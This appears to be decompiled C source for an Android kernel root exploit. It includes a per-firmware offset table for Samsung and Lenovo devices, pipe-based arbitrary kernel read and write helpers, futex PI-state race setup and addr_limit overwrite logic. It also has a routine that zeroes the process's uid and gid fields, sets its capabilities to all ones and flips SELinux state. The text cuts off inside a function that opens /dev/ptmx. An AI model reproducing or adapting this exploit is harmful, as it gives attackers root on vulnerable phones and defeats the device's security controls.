	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Mon Mar 31 18:57:23 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Tue Jun 10 14:18:41 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1841181","#1 SMP PREEMPT Wed Jun 4 10:13:01 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Tue Jun 10 14:19:52 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Mon Mar 31 18:54:48 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9502","3.4.5-1494240","#1 SMP PREEMPT Tue May 13 14:36:01 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9502","3.4.5-1494240","#1 SMP PREEMPT Tue May 27 17:09:09 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9502","3.4.5-1494240","#1 SMP PREEMPT Tue May 27 17:07:17 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9502","3.4.5-1494240","#1 SMP PREEMPT Tue May 13 14:34:48 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9505","3.4.0-481100","#1 SMP PREEMPT Tue Feb 25 05:12:28 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9505","3.4.0-481100","#1 SMP PREEMPT Fri Feb 14 12:10:25 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9505","3.4.0-805641","#1 SMP PREEMPT Sat Feb 22 15:01:49 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9505","3.4.0-481100","#1 SMP PREEMPT Sat Mar 8 00:28:12 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9505","3.4.0-1854187","#1 SMP PREEMPT Thu Jun 5 15:49:25 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-699287","#1 SMP PREEMPT Wed May 28 23:18:46 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-1973843","#1 SMP PREEMPT Tue Nov 5 11:48:33 KST 2013", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-2274372","#1 SMP PREEMPT Thu Jan 2 20:39:29 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-2274372","#1 SMP PREEMPT Thu Jan 23 17:52:05 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-2274372","#1 SMP PREEMPT Fri Feb 7 09:50:09 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9009","3.4.0-2274372","#1 SMP PREEMPT Mon Mar 31 18:01:37 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I8552","3.4.0-1522061","#1 SMP PREEMPT Wed Feb 26 17:55:42 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d48 ,0x0, 0x0 },\
	{"samsung","GT-I8552","3.4.0-1547312","#1 SMP PREEMPT Thu May 29 15:24:41 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d48 ,0x0, 0x0 },\
	{"samsung","GT-I8552","3.4.0-1181821","#1 SMP PREEMPT Mon Jun 16 12:31:18 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d48 ,0x0, 0x0 },\
	{"samsung","GT-I9152P","3.4.0-2493474","#1 SMP PREEMPT Fri Feb 14 01:31:12 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","SM-G9008W","3.4.0-1742119","#1 SMP PREEMPT Fri May 30 18:06:07 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G3588V","3.4.0-2676524","#1 SMP PREEMPT Sat May 17 16:54:11 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x0, 0x0 },\
	{"samsung","SM-G7109","3.4.0-2540821","#1 SMP PREEMPT Tue Feb 18 22:01:40 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G7109","3.4.0-2562842","#1 SMP PREEMPT Wed Mar 12 11:05:21 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G7109","3.4.0-2562842","#1 SMP PREEMPT Thu Apr 3 16:55:26 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G7109","3.4.0-2679667","#1 SMP PREEMPT Thu May 22 10:20:36 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9508V","3.4.0-2645471","#1 SMP PREEMPT Tue Apr 15 16:34:39 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9508V","3.4.0-2684864","#1 SMP PREEMPT Thu May 29 11:08:48 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008S","3.4.0-2547086","#1 SMP PREEMPT Sat Feb 22 00:21:19 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008S","3.4.0-2634567","#1 SMP PREEMPT Tue Apr 8 11:42:01 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008S","3.4.0-2634567","#1 SMP PREEMPT Tue May 27 16:26:06 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9300I","3.4.0-2450906","#1 SMP PREEMPT Mon Jan 20 02:01:23 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","GT-I9300I","3.4.0-2450906","#1 SMP PREEMPT Wed Feb 26 19:47:06 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","GT-I9300I","3.4.0-2643282","#1 SMP PREEMPT Wed Apr 16 18:57:36 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","SM-N9008V","3.4.0-2286610","#1 SMP PREEMPT Wed Dec 11 18:38:36 KST 2013", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008V","3.4.0-2364914","#1 SMP PREEMPT Fri Jan 10 20:31:01 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008V","3.4.0-2364914","#1 SMP PREEMPT Fri May 23 20:33:19 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-N9008V","3.4.0-2364914","#1 SMP PREEMPT Mon Jun 9 10:28:30 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9158P","3.4.0-2515678","#1 SMP PREEMPT Fri Feb 14 01:34:58 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","GT-I9158P","3.4.0-2632212","#1 SMP PREEMPT Mon Apr 7 09:24:32 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","GT-I9500","3.4.5-742022","#1 SMP PREEMPT Tue Feb 18 10:07:22 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"Samsung","SM-N9005","3.4.0-529386","#1 SMP PREEMPT Tue Jan 28 16:45:13 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9005","3.4.0-763416","#1 SMP PREEMPT Wed Feb 19 16:12:42 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9005","3.4.0-1618490","#1 SMP PREEMPT Tue May 13 05:38:16 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9005","3.4.0-1772700","#1 SMP PREEMPT Tue May 27 23:07:20 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9005","3.4.0-1860648","#1 SMP PREEMPT Thu Jun 5 21:23:06 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1928161","#1 SMP PREEMPT Fri Nov 29 20:16:01 KST 2013", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1928161","#1 SMP PREEMPT Fri Nov 29 20:20:49 KST 2013", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1928161","#1 SMP PREEMPT Mon Jan 27 11:42:57 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1928161","#1 SMP PREEMPT Mon Jan 27 11:45:59 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1928161","#1 SMP PREEMPT Mon Jan 27 11:48:26 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-699287","#1 SMP PREEMPT Fri Feb 28 20:18:54 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-913788","#1 SMP PREEMPT Wed Mar 26 11:14:28 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"samsung","GT-I9500","3.4.5-1424588","#1 SMP PREEMPT Tue May 13 13:22:01 KST 2014", 0x20, 0x0, 0x60, 0x48,0x1d20 ,0x1, 0x5 },\
	{"Samsung","SM-N9006","3.4.0-943469","#1 SMP PREEMPT Wed May 14 16:59:03 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"Samsung","SM-N9006","3.4.0-914589","#1 SMP PREEMPT Wed Mar 5 00:36:30 KST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"samsung","SM-G3568V","3.10.0-1747289","#2 SMP PREEMPT Tue Jun 3 17:01:27 KST 2014", 0x20, 0x0, 0x60, 0x30,0x1d40 ,0x1, 0x6 },\
	{"samsung","SM-G7108","3.4.0-2628929","#1 SMP PREEMPT Wed Apr 2 18:25:45 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","SM-G7108","3.4.0-2294751","#1 SMP PREEMPT Mon Jan 6 15:05:26 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","SM-G7108","3.4.0-2469478","#1 SMP PREEMPT Sat Jan 25 16:36:34 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","SM-G7108","3.4.0-2469478","#1 SMP PREEMPT Thu Mar 13 10:01:18 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"samsung","SM-G7108","3.4.0-2469478","#1 SMP PREEMPT Thu Mar 27 17:00:09 KST 2014", 0x20, 0x0, 0x60, 0x38,0x1cd4 ,0x0, 0x0 },\
	{"LENOVO","Lenovo B8080-F","3.4.0-ga94d719-00042-g8921676","#1 SMP PREEMPT Fri Apr 25 10:20:20 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 },\
	{"LENOVO","Lenovo B8080-F","3.4.0-ga94d719-00050-g2f0550d","#1 SMP PREEMPT Thu Jun 26 18:49:02 CST 2014", 0x0, 0x40, 0x60, 0x3c,0x1cd4 ,0x1, 0x5 }};

int g_sam_entires = sizeof(sam_all)/sizeof(sam);

struct _gb {
    int sock_port;
    unsigned int HACK_fd;
    unsigned int size_pid_buf;
    unsigned int dev_base;
    unsigned int sock_data_buf[56];
    int dword_11E44;
    unsigned int MAGIC_be0800;
    unsigned char unk_11E4C[0x8000];
    unsigned int swag2;
    unsigned int swag;
    int sync_sendmmsg;
    unsigned int tid_pi_state;
    int sync_pi_state;
    unsigned int map_addr_10000;
    unsigned int MAGIC_be0000;
    unsigned int map_addr_110000;
    unsigned int ptr_pid_buf; //mmap from mmap_MAGIC
    int goodval_low_bit;
    unsigned int dword_19E74;
    int dword_19E78;
    int dword_19E7C;
    int sync_signal_proc_state;
    int sync_flag_write_addrlimit;
    unsigned int dword_19E88;
    unsigned int algn_19E8C;
    unsigned int val_stack_lowbit;
    unsigned int found_selinux_key;
    unsigned int sel_enforcing;
    unsigned int victim_tid;
    unsigned int addr_limit;
    unsigned int my_sgid;
    unsigned int my_tid;
    unsigned int my_euid;
    unsigned int my_ppid;
    unsigned int my_egid;
    unsigned int my_suid;
    unsigned int my_uid;
    unsigned int my_pid;
    unsigned int pivot_helper_ti;
    unsigned int pivot_ti;
    unsigned int my_gid;
    unsigned int pivot_old_fs;
};

struct _gb gbvar;

ssize_t read_kernel_4(const void *ptr, void *pout) {
    ssize_t v4;
    int v6[2];

    if (pipe(v6) || write(v6[1], ptr, 4u) != 4 || (v4 = read(v6[0], pout, 4u), v4 != 4)) {
        v4 = -1;
    } else {
        close(v6[0]);
        close(v6[1]);
    }
    return v4;
}

int write_kernel(void *ptr, const void *buf, size_t len) {
    int fd[2];
    int result = 0;
    void *v3;
    const void *v4;
    unsigned int v5;

    if (pipe(fd) != 0){
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != write(fd[1], v4, v5)) {
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != read(fd[0], v3, v5)) {
        result = -1;
        goto END;
    }

    close(fd[0]);
    close(fd[1]);
    result = len;

END:
    return result;
}

int write_kernel_4(void *ptr, int nVal)
{
    int v3; // [sp+4h] [bp-Ch]@1

    v3 = nVal;
    write_kernel(ptr, &v3, 4u);
    return 0;
}

int sub_9CE0(unsigned int a1){
	unsigned int v1;
	int result; 
	int v3;
	unsigned int v4,v5,v6,v7,v8;
	const void* v9;
	const void* v10;
	const void* v11;
	const void* v12;
	const void* v13;
	int v14;
	int v15;
	const void *i;
	int v17; // r1@45
	int v18; // r3@45
	int v19; // r0@50
	bool v20; // cf@50
	unsigned int v21;
	int v22,v23;
	unsigned int v24;
	unsigned int v25;
	
	int v26; // [sp+1Ch] [bp-44h]@9
	int v27; // [sp+20h] [bp-40h]@9
	int v28; // [sp+24h] [bp-3Ch]@9
	int v29; // [sp+28h] [bp-38h]@9
	int v30; // [sp+2Ch] [bp-34h]@9
	int v31; // [sp+30h] [bp-30h]@9
	int v32; // [sp+34h] [bp-2Ch]@5
	
    printff("[sub_9CE0]entry\n");
	v1 = a1;
	if (a1 > 0xBFFFFFFF) {
		v25 = 0;
        v3 = a1 + 12;
		if (read_kernel_4((const void *)(a1 + 12), &v32) >= 0) {
			if (v32 == 0x43736564) {
				v3 = v1 + 24;
				v4 = 36;
				v5 = 32;
				v6 = 28;
				v7 = 20;
				v8 = 16;
				v21 = 4;
			} else {
                v4 = 24;
                v5 = 20;
                v6 = 16;
                v7 = 8;
                v8 = 4;
                v21 = 1;	
			}
			v9 = (const void *)(v8 + v1);
			v10 = (const void *)(v7 + v1);
			read_kernel_4(v9, &v31);
			read_kernel_4(v10, &v28);
			v11 = (const void *)(v6 + v1);
			read_kernel_4((const void *)v3, &v29);
			v12 = (const void *)(v5 + v1);
			read_kernel_4(v11, &v26);
			v13 = (const void *)(v4 + v1);
			read_kernel_4(v12, &v30);
			read_kernel_4(v13, &v27);
			if (gbvar.my_uid != v31 || gbvar.my_gid != v28 || gbvar.my_euid != v30 \
				|| gbvar.my_egid != v27 || gbvar.my_suid != v29 || gbvar.my_sgid != v26) {
                result = -6;
            } else if (write_kernel_4((void *)v9, 0)
				|| write_kernel_4((void *)v10, 0)
				|| write_kernel_4((void *)v3, 0)
				|| write_kernel_4((void *)v11, 0)
				|| write_kernel_4((void *)v12, 0)
				|| write_kernel_4((void *)v13, 0)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 6)), 0)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 7)), 0)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 9)), -1)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 10)), -1)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 11)), -1)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 12)), -1)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 13)), -1)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 14)), -1)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 15)), -1)
				|| write_kernel_4((void *)(v1 + 4 * (v21 + 16)), -1)) {
                result = -4;
            } else if (gbvar.sel_enforcing) {
                v14 = v1 + 4 * (gbvar.found_selinux_key + 17);
                read_kernel_4((const void *)(v1 + 4 * (gbvar.found_selinux_key + 17)), &v25);
                v15 = ((psam)gbvar.dev_base)->selinux_mark;
                if (!v15) {
                     for (i = (const void *)(v14 + 4); ; i = (char *)i + 4 ) {
                        if (v25) {
                            if (v25 + 0x40000000 <= 0x3FFFF000) {
                                read_kernel_4((const void *)v25, &v24);
                                read_kernel_4((const void *)(v25 + 4), &v23);
                                read_kernel_4((const void *)(v25 + 8), &v22);
                                if (v24 == v23 && !v22 && v24 > 0xA) {
                                    break;
                                }			
                            }
                            ++v15;
                            if (v15 == 3) {
                                goto LABEL_47;
                            }
                        }
                        read_kernel_4(i, &v25);
                    }
                    v17 = gbvar.found_selinux_key;
                    v18 = gbvar.dev_base;
                    ((psam)gbvar.dev_base)->selinux_mark = 1;
                    gbvar.found_selinux_key = v15 + v17;
                    ((psam)gbvar.dev_base)->h = v15 + v17;
                }
                if (v25 > 0xc0000000) {
					if (write_kernel_4((void *)v25, 1)) {
						result = 0;
					} else {
						v19 = write_kernel_4((void *)(v25 + 4), 1);
						if (v19 <= 1) {
							result = 1 - v19;
						} else {
							result = 0;
						}
					}
					
                } else {
LABEL_47:
                    result = -5;
                }
      	
      	
            } else {
                result = 1;
            }
		} else {
			result = -2;
		}
	} else {
		result = -1;
	}
    printff("[sub_9CE0]exit\n");
	return result;
}

unsigned int sub_A178(int a1, unsigned int v_addr_limit) {
    int off; // r4@1
    int i; // r6@1
    int v4; // r3@2
    unsigned int addr; // r5@5
    int v6; // r3@6
    int v8; // r4@12
    int v9; // r0@16
    int v10; // r5@26
    int v11; // r5@33
    int v12; // [sp+10h] [bp-70h]@1
    int v14; // [sp+18h] [bp-68h]@1
    int v15; // [sp+2Ch] [bp-54h]@26
    int v16; // [sp+30h] [bp-50h]@24
    int v17; // [sp+34h] [bp-4Ch]@24
    int v18; // [sp+38h] [bp-48h]@23
    int v19; // [sp+3Ch] [bp-44h]@17
    unsigned int v20; // [sp+40h] [bp-40h]@1
    int v21; // [sp+44h] [bp-3Ch]@16
    int v22; // [sp+48h] [bp-38h]@1
    unsigned int v23; // [sp+4Ch] [bp-34h]@15
    unsigned int v24; // [sp+50h] [bp-30h]@8
    unsigned int v25; // [sp+54h] [bp-2Ch]@2

    printff("[sub_A178]entry\n");
    off = 0;
    v20 = 0;
    read_kernel_4((const void *)((v_addr_limit & 0xFFFFE000) + 0xC), &v22);
    i = 23;
    v14 = 0;
    v12 = 0;
    
    while (true) {
        addr = off + v22;
        read_kernel_4((const void *)(off + v22), &v25);
        if (!v20) {
            if (gbvar.my_tid == v25) {
                read_kernel_4((const void *)(addr + 4), &v18);
                if (v18 == gbvar.my_pid) {
                    read_kernel_4((const void *)(addr + 12), &v20);
                    read_kernel_4((const void *)(addr + 20), &v16);
                    read_kernel_4((const void *)(addr + 24), &v17);
                    v14 = off;
                    if (v17 != v16) {
                        v12 = 4 * (i - 1);
                    } else {
                        v12 = 4 * i;
                    }
                }
            }
        }
        if (v25 == 0x5F527670) { // '_Rvp'
            read_kernel_4((const void *)(addr + 4), &v24);
            if (v24 == 0x656D6974) { // 'emit'
                break;
            }
        }
        off += 4;
        ++i;
        if (off == 4000) {
            return -1;
        }
    }
    printff("[sub_A178]0.1\n");
    if ((unsigned int)(i - 23) >= 1000) {
        return -1;
    }
    if (v20 <= 0xBFFFFFFF) {
        return 0xFFFFFFCE;
    }
    printff("[sub_A178]0.2\n");
    v8 = off - 8;
    if (a1 == 1) {
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (a1 == 2) {
        read_kernel_4((const void *)(v8 + v22), &v23);
        sub_9CE0(v23);
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (!a1) {
        read_kernel_4((const void *)(v8 + v22), &v23);
    }
    sub_9CE0(v23);
    printff("[sub_A178]0.3\n");
    if (v12) {
        v9 = v22;
        v21 = v22;
        while (true) {
            read_kernel_4((const void *)(v9 + v14), &v19);
            if (gbvar.tid_pi_state == v19) {
                read_kernel_4((const void *)(v21 + 4), &gbvar.dword_19E74);
                break;
            } else {
                read_kernel_4((const void *)(v12 + v21), &v21);
                v9 = v21 - v12;
                v21 -= v12;
                if (v21 == v22) {
                    break;
                }
            }
        }
    }
    printff("[sub_A178]0.4\n");
    if ((unsigned int)gbvar.dword_19E74 <= 0xC0000000 || !gbvar.goodval_low_bit) {
        return 0;
    }
    printff("[sub_A178]0.5\n");
    v10 = gbvar.goodval_low_bit + gbvar.dword_19E74 - 12;
    v15 = 0;
    read_kernel_4((const void *)v10, &v15);
    if (v15 != 0x7E) {
        return -1;
    }
    printff("[sub_A178]0.6\n");
    write_kernel_4((void *)(v10 + 4), v10 + 4);
    write_kernel_4((void *)(v10 + 8), v10 + 4);
    read_kernel_4((const void *)(v10 + 16), &v15);
    write_kernel_4((void *)(v10 + 12), v15);
    v11 = v15;
    if ( (unsigned int)v15 <= 0xC0000000 )
        return -1;
    printff("[sub_A178]0.7\n");
    read_kernel_4((const void *)v15, &v15);
    write_kernel_4((void *)(v11 + 4), v15);
    printff("[sub_A178]exit\n");
    return 0;
}

int signal_proc() {
	int result;
	int v1;
	int v2;
	unsigned int v3;
	
    printff("[signal_proc]entry\n");
    
	result = syscall(__NR_gettid);// gettid
	if(!gbvar.dword_19E78) {
		if (gbvar.dword_19E7C) {
			gbvar.dword_19E7C = gbvar.dword_19E78; // = 0
		} else {
			gbvar.dword_19E7C = gbvar.dword_19E78; // = 0
			v2 = -1;
            v3 = 0;
            if (gbvar.sync_signal_proc_state == 1) {
                gbvar.sync_signal_proc_state = 2;
                do {
                    usleep(0x186A0);
                } while (gbvar.sync_signal_proc_state == 2);
                gbvar.sync_signal_proc_state = 4;
			} else {
				result = gbvar.addr_limit;
				if (gbvar.addr_limit) {
					if (gbvar.sync_flag_write_addrlimit) {
						v2 = 0;
						v3 = 0xBF000000;
						write_kernel((void *)(gbvar.pivot_ti + 8), &v3, 4u);
						v3 = *(unsigned char *)((unsigned int)&gbvar.pivot_helper_ti + 3);
						write_kernel((void *)(gbvar.pivot_old_fs + 4), &v3, 1u);
						gbvar.my_pid = getpid();
						gbvar.my_tid = gettid();
						gbvar.my_ppid = getppid();
						getresuid(&gbvar.my_uid, &gbvar.my_euid, &gbvar.my_suid);
						getresgid(&gbvar.my_gid, &gbvar.my_egid, &gbvar.my_sgid);
						result = sub_A178(2, gbvar.addr_limit);
						gbvar.dword_19E78 = 1;
					} else {
						write_kernel((void *)gbvar.addr_limit, &v3, 4u);
						result = read_kernel_4((const void *)gbvar.addr_limit, &v2);
						if (!v2) {
							gbvar.sync_flag_write_addrlimit = 1;
                        }
					}
				}
			}
		}
	}
    printff("[signal_proc]exit\n");
	return result;
}






////////////////////////////////////////


unsigned int wait_for_lock_res(unsigned int result, int orgValue)
{
  unsigned int v2; // r4@1
  int v3; // r5@1
  signed int v4; // r3@2

  printff("[wait_for_lock_res]entry\n");
  v2 = result;
  v3 = orgValue;
  if ( result )
  {
    v4 = 0;
    do
    {
      if ( v4 > 17 )
      {
        usleep(0x186A0u);
        v4 = 0;
      }
      result = *(unsigned int *)(v2 + 4 * v4++);
    }
    while ( result <= 0xC0000000 || result == v3 );
    if ( !gbvar.goodval_low_bit )
      gbvar.goodval_low_bit = result & 0x1FFF;
  }
  printff("[wait_for_lock_res]exit\n");
  return result;
}

int make_action(int a1) {
    int R4, syscallrs;

    printff("[sub_9954]entry\n");
    R4 = a1;
    syscallrs = syscall(__NR_gettid);
    write(R4, &syscallrs, 4u);
    if ( !setpriority(0, 0, 0xd) && bsd_signal(0xc, signal_proc) != -1 )
        syscall(0xF0, &gbvar.swag, 6, 1, 0, 0, 0);
    printff("[sub_9954]exit\n");
    return 0;
}

int create_thread_ret_pid(void *(*start_routine)(void *)) {
    int rs;
    int R3 = 0, buf;
    int pipe_fd[2];
    void* R4;
    pthread_t newthread;
    
    printff("[create_thread_ret_pid]entry\n");
    buf = 0;
    R4 = start_routine;
    if (pipe(pipe_fd)) {
        rs = -1;
    } else {
        pthread_create(&newthread, 0, start_routine, pipe_fd[1]);
        read(pipe_fd[0], &buf, 4u);
        close(pipe_fd[0]);
        close(pipe_fd[1]);
        rs = buf;
    }
    printff("[create_thread_ret_pid]exit\n");
    return buf;
}

int sub_9594() {
    int rs = 0;
    struct stat *buf;
    stat("/proc/key-users", &buf) ? (rs = 0) : (rs = 4);
    return rs;
}

void *setup_exp_2(void *result, int a2, int ptr_modify)
{
  int v3; // zf@1
  int v4; // r4@3
  int v5; // r6@4
  //int v6; // r7@6
  void *v7; // r5@6

  printff("[setup_exp_2]entry\n");
  v3 = result == 0;
  if ( result )
    v3 = a2 == 0;
  v4 = a2;
  v5 = v3 != 0;
  //v6 = ptr_modify;
  v7 = result;
  if ( !v3 )
  {
    memset(result, v5, 0x400u);
    result = memset((void *)(v4 - 32), v5, 0x400u);

    printff("[setup_exp_2]memset: %08x\n", v5);

    *((unsigned int *)v7 + 1) = v4 + 4;
    *((unsigned int *)v7 + 2) = v5;
    *(unsigned int *)v7 = 133;
    *(unsigned int *)(v4 + 16) = ptr_modify;
    *(unsigned int *)v4 = 139;
    *(unsigned int *)(v4 + 8) = ptr_modify;
  }
  printff("[setup_exp_2]exit\n");
  return result;
}

int pi_state_helper_(int a1) {
    int v1; 
    unsigned int  v2;

    printff("[pi_state_helper_]entry\n");
    v1 = a1;
    v2 = syscall(__NR_gettid);  //get_tid
    if (!setpriority(0, 0, v1)) {
        gbvar.sync_pi_state = 1;
        gbvar.tid_pi_state = v2;
        if (!syscall(__NR_futex, &gbvar.swag, 6, 1, 0, 0, 0)) {
            while (1) {
                sleep(0x2710u);
                sleep(0x2710u);
            }
        }
    }
    printff("[pi_state_helper_]exit\n");
    return 0;
}

void *setup_list_node(void *result)
{
  void *v1; // r4@1
  int v2; // r3@2

  printff("[setup_list_node]entry\n");
  v1 = result;
  if ( result )
  {
    memset(result, 0, 0x400u);
    *(unsigned int *)v1 = 133;
    v2 = (int)((char *)v1 + 32);
    *((unsigned int *)v1 + 1) = (char *)v1 + 36;
    result = (char *)v1 + 12;
    *((unsigned int *)v1 + 3) = (char *)v1 + 44;
    *((unsigned int *)v1 + 2) = 0;
    *((unsigned int *)v1 + 4) = 0;
    *((unsigned int *)v1 + 8) = 139;
    *(unsigned int *)(v2 + 12) = 0;
    *(unsigned int *)(v2 + 8) = (char *)v1 + 4;
    *(unsigned int *)(v2 + 16) = (char *)v1 + 12;
    *(unsigned int *)(v2 + 4) = 0;
  }
  printff("[setup_list_node]exit\n");
  return result;
}

int check_val_less_bf0000(int a1) {
    return (a1 & 0xFF0000u) - 0x20001 <= 0xADFFFE;
}

int open_ptmx_proc(int fd) {
    int result;
    int v3;
    int ptmxfd;
    const char *path;
    int fdm;
    int pipedes[2];
    int pid;
    
    printff("[open_ptmx_proc]entry\n");
    pid = syscall(__NR_gettid);
    write(fd, &pid, 4);
    if (setpriority(0, 0, 13) || bsd_signal(12, (int)signal_proc) == -1 || syscall(__NR_futex, &gbvar.swag, 6, 1, 0, 0, 0)) {
        printff("[sub_99EC]return 0;\n");
        return 0;
    }
    result = pipe(pipedes);
    v3 = result;
    if (!result) {
        ptmxfd = open("/dev/ptmx", 0x102);
        if (ptmxfd >= 0 && unlockpt(ptmxfd) != -1) {
